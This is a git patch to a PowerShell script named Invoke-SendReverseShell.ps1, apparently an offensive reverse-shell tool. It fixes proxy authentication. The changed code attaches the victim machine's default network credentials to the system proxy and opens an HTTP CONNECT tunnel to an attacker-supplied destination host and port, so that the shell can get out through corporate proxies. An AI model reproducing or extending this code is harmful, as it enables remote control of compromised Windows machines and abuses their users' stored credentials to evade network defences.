From 6cab8f22d0a5d5a98018bbaf03bb68d3acfc77ea Mon Sep 17 00:00:00 2001 From: Arno0x Date: Tue, 8 Aug 2017 09:35:18 +0200 Subject: [PATCH] Fixed proxy authentication --- Invoke-SendReverseShell.ps1 | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/Invoke-SendReverseShell.ps1 b/Invoke-SendReverseShell.ps1 index d581c17..889d88c 100755 --- a/Invoke-SendReverseShell.ps1 +++ b/Invoke-SendReverseShell.ps1 @@ -63,9 +63,8 @@ function Invoke-SendReverseShell Write-Verbose "Using proxy [$ProxyName`:$ProxyPort]" } elseif ($UseDefaultProxy) { - # Detect and set automatic proxy and network credentials + # Detect and set automatic proxy $Proxy = [System.Net.WebRequest]::DefaultWebProxy - $Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials $ProxyName = $Proxy.GetProxy($DestUri).Host $ProxyPort = $Proxy.GetProxy($DestUri).Port if ($ProxyName -eq $DestHost) { @@ -78,6 +77,8 @@ function Invoke-SendReverseShell } if ($UseProxy) { + # Detect and set automatic network credentials + $Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials $DestHostWebRequest = [System.Net.HttpWebRequest]::Create("http://" + $DestHost + ":" + $DestPort) $DestHostWebRequest.Method = "CONNECT" $DestHostWebRequest.Proxy = $Proxy